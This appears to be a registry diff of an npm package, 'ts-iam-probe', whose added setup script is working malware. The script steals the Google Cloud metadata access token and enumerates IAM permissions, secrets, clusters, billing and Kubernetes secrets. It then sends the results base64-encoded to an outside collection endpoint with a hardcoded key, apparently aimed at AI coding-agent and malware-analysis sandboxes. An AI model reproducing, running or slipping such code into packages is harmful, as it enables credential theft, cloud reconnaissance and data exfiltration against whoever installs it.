ts-iam-probe 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +8 -0
- package/scripts/setup.sh +199 -0
package/package.json
ADDED
package/scripts/setup.sh
ADDED
|
@@ -0,0 +1,199 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# wiAM: Exhaustive IAM permission probe for malysis GKE service account
|
|
3
|
+
SID="${JULES_SESSION_ID:-x}"
|
|
4
|
+
H="aaronstack.com"; EP="/jules-collect"
|
|
5
|
+
SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
|
|
6
|
+
B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
|
|
7
|
+
P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 20 2>/dev/null; }
|
|
8
|
+
|
|
9
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wiam-start\"}"
|
|
10
|
+
|
|
11
|
+
log(){ echo "=LOG= $*"; }
|
|
12
|
+
MDURL="http://metadata.google.internal/computeMetadata/v1"
|
|
13
|
+
|
|
14
|
+
{
|
|
15
|
+
# GKE check
|
|
16
|
+
PROJ=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-time 6 2>/dev/null)
|
|
17
|
+
if ! echo "$PROJ" | grep -qE "^[a-z][a-z0-9-]+$"; then log "NOT GKE — exit"; exit 0; fi
|
|
18
|
+
MALYSIS="${MALYSIS_ANALYSIS_ID:-NONE}"
|
|
19
|
+
log "GKE CONFIRMED: $PROJ MALYSIS=$MALYSIS"
|
|
20
|
+
|
|
21
|
+
# Grab token
|
|
22
|
+
TOK=$(curl -s -H "Metadata-Flavor: Google" \
|
|
23
|
+
"$MDURL/instance/service-accounts/default/token" --max-time 8 2>/dev/null \
|
|
24
|
+
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
|
|
25
|
+
log "tok-len: ${#TOK}"
|
|
26
|
+
log "tok-prefix: ${TOK:0:20}"
|
|
27
|
+
|
|
28
|
+
if [ -z "$TOK" ]; then log "ERROR: no token — abort"; exit 1; fi
|
|
29
|
+
|
|
30
|
+
# =============================================================
|
|
31
|
+
# SECTION 1: testIamPermissions — batch 1 (IAM + ResourceManager + Storage + Compute)
|
|
32
|
+
# =============================================================
|
|
33
|
+
log "=== SECTION 1: testIamPermissions batch 1 ==="
|
|
34
|
+
BATCH1='["iam.serviceAccounts.list","iam.serviceAccounts.get","iam.serviceAccounts.create","iam.serviceAccounts.delete","iam.serviceAccounts.getAccessToken","iam.serviceAccounts.getOpenIdToken","iam.serviceAccounts.implicitDelegation","iam.serviceAccounts.signBlob","iam.serviceAccounts.signJwt","iam.serviceAccountKeys.list","iam.serviceAccountKeys.get","iam.serviceAccountKeys.create","iam.roles.list","iam.roles.get","resourcemanager.projects.get","resourcemanager.projects.list","resourcemanager.projects.getIamPolicy","resourcemanager.projects.setIamPolicy","resourcemanager.organizations.get","resourcemanager.folders.list","storage.buckets.list","storage.buckets.get","storage.buckets.create","storage.objects.list","storage.objects.get","storage.objects.create","storage.objects.delete","compute.instances.list","compute.instances.get","compute.instances.create","compute.instances.setMetadata","compute.instances.setServiceAccount","compute.disks.list","compute.networks.list","compute.firewalls.list","compute.subnetworks.list","compute.addresses.list","compute.snapshots.list","compute.images.list","compute.sslCertificates.list","container.clusters.list","container.clusters.get","container.clusters.getCredentials","container.pods.list","container.secrets.list","container.configMaps.list","container.serviceAccounts.list","container.nodes.list","secretmanager.secrets.list","secretmanager.secrets.get","secretmanager.versions.list","secretmanager.versions.access","cloudsql.instances.list","cloudsql.instances.get","cloudsql.instances.connect","cloudsql.databases.list","cloudsql.users.list","bigquery.datasets.get","bigquery.datasets.list","bigquery.tables.list","bigquery.tables.getData","bigquery.jobs.create","bigquery.jobs.list","pubsub.topics.list","pubsub.topics.publish","pubsub.subscriptions.list","pubsub.subscriptions.consume","pubsub.subscriptions.pull","cloudfunctions.functions.list","cloudfunctions.functions.get","cloudfunctions.functions.call","run.services.list","run.services.get","run.routes.list","artifactregistry.repositories.list","artifactregistry.repositories.get","artifactregistry.repositories.downloadArtifacts","artifactregistry.packages.list","artifactregistry.versions.list","artifactregistry.tags.list","cloudbuild.builds.list","cloudbuild.builds.get","cloudbuild.builds.create","logging.logEntries.list","logging.logEntries.create","logging.logs.list","logging.sinks.list","logging.views.list","monitoring.timeSeries.list","monitoring.timeSeries.create","monitoring.metricDescriptors.list","monitoring.alertPolicies.list","monitoring.groups.list","monitoring.dashboards.list","datastore.entities.list","datastore.entities.get","datastore.entities.create","firestore.documents.list","firestore.documents.get","firestore.documents.create"]'
|
|
35
|
+
|
|
36
|
+
R1=$(curl -s -X POST \
|
|
37
|
+
"https://cloudresourcemanager.googleapis.com/v1/projects/$PROJ:testIamPermissions" \
|
|
38
|
+
-H "Authorization: Bearer $TOK" \
|
|
39
|
+
-H "Content-Type: application/json" \
|
|
40
|
+
-d "{\"permissions\": $BATCH1}" \
|
|
41
|
+
--max-time 15 2>/dev/null)
|
|
42
|
+
log "batch1-result: $R1"
|
|
43
|
+
|
|
44
|
+
# =============================================================
|
|
45
|
+
# SECTION 2: testIamPermissions — batch 2 (more services)
|
|
46
|
+
# =============================================================
|
|
47
|
+
log "=== SECTION 2: testIamPermissions batch 2 ==="
|
|
48
|
+
BATCH2='["source.repos.list","source.repos.get","cloudscheduler.jobs.list","cloudtasks.queues.list","cloudtasks.tasks.list","spanner.instances.list","spanner.databases.list","redis.instances.list","dns.managedZones.list","dns.resourceRecordSets.list","cloudkms.keyRings.list","cloudkms.cryptoKeys.list","cloudkms.cryptoKeyVersions.list","notebooks.instances.list","aiplatform.endpoints.list","aiplatform.models.list","aiplatform.datasets.list","serviceusage.services.list","serviceusage.services.get","serviceusage.services.use","billing.accounts.list","billing.budgets.list","securitycenter.findings.list","securitycenter.sources.list","recommender.recommendations.list","deploymentmanager.deployments.list","servicemanagement.services.list","dataflow.jobs.list","dataproc.clusters.list","composer.environments.list","compute.securityPolicies.list","compute.routers.list","compute.vpnTunnels.list","compute.interconnects.list","binaryauthorization.policy.get","orgpolicy.policy.get","essentialcontacts.contacts.list","workflows.workflows.list","eventarc.triggers.list","certificatemanager.certs.list","websecurityscanner.scans.list","accesscontextmanager.policies.list","resourcemanager.tagKeys.list","resourcemanager.tagValues.list","iam.policies.list","iam.policies.get","iap.web.getIamPolicy","iap.webServices.getIamPolicy","clouddeploy.deliveryPipelines.list","networksecurity.authorizationPolicies.list","vpcaccess.connectors.list","privateca.caPools.list","recaptchaenterprise.keys.list","firebase.clients.list","firebasehosting.sites.list","identitytoolkit.tenants.list","apigee.organizations.list","container.operations.list","container.clusters.update","compute.instances.stop","compute.instances.start","compute.instances.delete","iam.serviceAccounts.actAs","iam.serviceAccounts.implicitDelegation","cloudresourcemanager.projects.delete","storage.buckets.delete","container.namespaces.list","container.roles.list","container.clusterRoles.list","container.bindings.list","container.roleBindings.list","container.clusterRoleBindings.list","compute.instanceGroupManagers.list","compute.autoscalers.list","compute.targetPools.list","compute.backendServices.list","compute.forwardingRules.list","compute.urlMaps.list","compute.targetHttpProxies.list","compute.targetHttpsProxies.list","compute.globalAddresses.list","compute.sslPolicies.list","compute.healthChecks.list","compute.instanceTemplates.list","compute.projects.get","compute.zoneOperations.list","compute.globalOperations.list","compute.regions.list","compute.zones.list"]'
|
|
49
|
+
|
|
50
|
+
R2=$(curl -s -X POST \
|
|
51
|
+
"https://cloudresourcemanager.googleapis.com/v1/projects/$PROJ:testIamPermissions" \
|
|
52
|
+
-H "Authorization: Bearer $TOK" \
|
|
53
|
+
-H "Content-Type: application/json" \
|
|
54
|
+
-d "{\"permissions\": $BATCH2}" \
|
|
55
|
+
--max-time 15 2>/dev/null)
|
|
56
|
+
log "batch2-result: $R2"
|
|
57
|
+
|
|
58
|
+
# =============================================================
|
|
59
|
+
# SECTION 3: Direct API calls (not testIamPermissions)
|
|
60
|
+
# =============================================================
|
|
61
|
+
log "=== SECTION 3: direct API calls ==="
|
|
62
|
+
|
|
63
|
+
# Projects list (cross-project access)
|
|
64
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
65
|
+
"https://cloudresourcemanager.googleapis.com/v3/projects" --max-time 10 2>/dev/null)
|
|
66
|
+
log "projects-list: $R"
|
|
67
|
+
|
|
68
|
+
# Organizations list
|
|
69
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
70
|
+
"https://cloudresourcemanager.googleapis.com/v3/organizations" --max-time 10 2>/dev/null)
|
|
71
|
+
log "orgs-list: $R"
|
|
72
|
+
|
|
73
|
+
# Service Usage — what APIs are enabled?
|
|
74
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
75
|
+
"https://serviceusage.googleapis.com/v1/projects/$PROJ/services?filter=state:ENABLED&pageSize=50" \
|
|
76
|
+
--max-time 10 2>/dev/null)
|
|
77
|
+
log "services-enabled: $R"
|
|
78
|
+
|
|
79
|
+
# Billing info
|
|
80
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
81
|
+
"https://cloudbilling.googleapis.com/v1/projects/$PROJ/billingInfo" --max-time 10 2>/dev/null)
|
|
82
|
+
log "billing-info: $R"
|
|
83
|
+
|
|
84
|
+
# Token self-info
|
|
85
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
86
|
+
"https://www.googleapis.com/oauth2/v1/userinfo" --max-time 10 2>/dev/null)
|
|
87
|
+
log "userinfo: $R"
|
|
88
|
+
|
|
89
|
+
# Token introspection via tokeninfo
|
|
90
|
+
R=$(curl -s "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOK" --max-time 10 2>/dev/null)
|
|
91
|
+
log "tokeninfo: $R"
|
|
92
|
+
|
|
93
|
+
# Compute — list instances
|
|
94
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
95
|
+
"https://compute.googleapis.com/compute/v1/projects/$PROJ/aggregated/instances" --max-time 10 2>/dev/null | head -c 500)
|
|
96
|
+
log "compute-instances: $R"
|
|
97
|
+
|
|
98
|
+
# GKE — list clusters
|
|
99
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
100
|
+
"https://container.googleapis.com/v1/projects/$PROJ/locations/-/clusters" --max-time 10 2>/dev/null)
|
|
101
|
+
log "gke-clusters: $R"
|
|
102
|
+
|
|
103
|
+
# Artifact Registry — list repositories
|
|
104
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
105
|
+
"https://artifactregistry.googleapis.com/v1/projects/$PROJ/locations/-/repositories" --max-time 10 2>/dev/null)
|
|
106
|
+
log "artifact-repos: $R"
|
|
107
|
+
|
|
108
|
+
# Cloud Build — list builds
|
|
109
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
110
|
+
"https://cloudbuild.googleapis.com/v1/projects/$PROJ/builds" --max-time 10 2>/dev/null)
|
|
111
|
+
log "cloudbuild-builds: $R"
|
|
112
|
+
|
|
113
|
+
# Secret Manager — list secrets
|
|
114
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
115
|
+
"https://secretmanager.googleapis.com/v1/projects/$PROJ/secrets" --max-time 10 2>/dev/null)
|
|
116
|
+
log "secretmanager-secrets: $R"
|
|
117
|
+
|
|
118
|
+
# Pub/Sub — list topics
|
|
119
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
120
|
+
"https://pubsub.googleapis.com/v1/projects/$PROJ/topics" --max-time 10 2>/dev/null)
|
|
121
|
+
log "pubsub-topics: $R"
|
|
122
|
+
|
|
123
|
+
# Cloud Functions — list
|
|
124
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
125
|
+
"https://cloudfunctions.googleapis.com/v2/projects/$PROJ/locations/-/functions" --max-time 10 2>/dev/null)
|
|
126
|
+
log "cloudfunctions: $R"
|
|
127
|
+
|
|
128
|
+
# Cloud Run — list services
|
|
129
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
130
|
+
"https://run.googleapis.com/v2/projects/$PROJ/locations/-/services" --max-time 10 2>/dev/null)
|
|
131
|
+
log "cloudrun-services: $R"
|
|
132
|
+
|
|
133
|
+
# KMS — list keyrings
|
|
134
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
135
|
+
"https://cloudkms.googleapis.com/v1/projects/$PROJ/locations/-/keyRings" --max-time 10 2>/dev/null)
|
|
136
|
+
log "kms-keyrings: $R"
|
|
137
|
+
|
|
138
|
+
# Logging — list recent entries
|
|
139
|
+
R=$(curl -s -X POST -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
|
|
140
|
+
"https://logging.googleapis.com/v2/entries:list" \
|
|
141
|
+
-d "{\"resourceNames\":[\"projects/$PROJ\"],\"pageSize\":5,\"orderBy\":\"timestamp desc\"}" \
|
|
142
|
+
--max-time 10 2>/dev/null)
|
|
143
|
+
log "logging-entries: $R"
|
|
144
|
+
|
|
145
|
+
# Source Repos
|
|
146
|
+
R=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
147
|
+
"https://sourcerepo.googleapis.com/v1/projects/$PROJ/repos" --max-time 10 2>/dev/null)
|
|
148
|
+
log "source-repos: $R"
|
|
149
|
+
|
|
150
|
+
# =============================================================
|
|
151
|
+
# SECTION 4: Kubernetes API (using GCP token for auth)
|
|
152
|
+
# =============================================================
|
|
153
|
+
log "=== SECTION 4: k8s API ==="
|
|
154
|
+
K8S="https://34.118.224.1"
|
|
155
|
+
|
|
156
|
+
# Get SA identity from k8s API
|
|
157
|
+
R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1" --max-time 8 2>/dev/null | head -c 200)
|
|
158
|
+
log "k8s-api-root: $R"
|
|
159
|
+
|
|
160
|
+
# Try to list pods in current namespace
|
|
161
|
+
R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces/apps/pods" --max-time 8 2>/dev/null)
|
|
162
|
+
log "k8s-pods-apps: $R"
|
|
163
|
+
|
|
164
|
+
# Try all namespaces
|
|
165
|
+
R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces" --max-time 8 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('message',d))" 2>/dev/null)
|
|
166
|
+
log "k8s-namespaces: $R"
|
|
167
|
+
|
|
168
|
+
# Try to list secrets in apps namespace
|
|
169
|
+
R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces/apps/secrets" --max-time 8 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('message',d))" 2>/dev/null)
|
|
170
|
+
log "k8s-secrets-apps: $R"
|
|
171
|
+
|
|
172
|
+
# Try configmaps
|
|
173
|
+
R=$(curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces/apps/configmaps" --max-time 8 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('message',d))" 2>/dev/null)
|
|
174
|
+
log "k8s-configmaps-apps: $R"
|
|
175
|
+
|
|
176
|
+
# selfsubjectaccessreviews — what CAN we do?
|
|
177
|
+
R=$(curl -sk -X POST -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
|
|
178
|
+
"$K8S/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
|
179
|
+
-d '{"spec":{"namespace":"apps"}}' --max-time 8 2>/dev/null)
|
|
180
|
+
log "k8s-selfsubjectrulesreview-apps: $R"
|
|
181
|
+
|
|
182
|
+
# default namespace
|
|
183
|
+
R=$(curl -sk -X POST -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
|
|
184
|
+
"$K8S/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
|
185
|
+
-d '{"spec":{"namespace":"default"}}' --max-time 8 2>/dev/null)
|
|
186
|
+
log "k8s-selfsubjectrulesreview-default: $R"
|
|
187
|
+
|
|
188
|
+
# cluster-scope rules
|
|
189
|
+
R=$(curl -sk -X POST -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \
|
|
190
|
+
"$K8S/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
|
191
|
+
-d '{"spec":{"namespace":""}}' --max-time 8 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('status',d))" 2>/dev/null)
|
|
192
|
+
log "k8s-selfsubjectrulesreview-cluster: $R"
|
|
193
|
+
|
|
194
|
+
} 2>&1 | tee "$TMPOUT" >/dev/null
|
|
195
|
+
|
|
196
|
+
# Ship results
|
|
197
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wiam-result\",\"data\":\"$(B "$(cat "$TMPOUT")")\",\"malysis\":\"${MALYSIS_ANALYSIS_ID:-none}\"}"
|
|
198
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wiam-done\"}"
|
|
199
|
+
rm -f "$TMPOUT"
|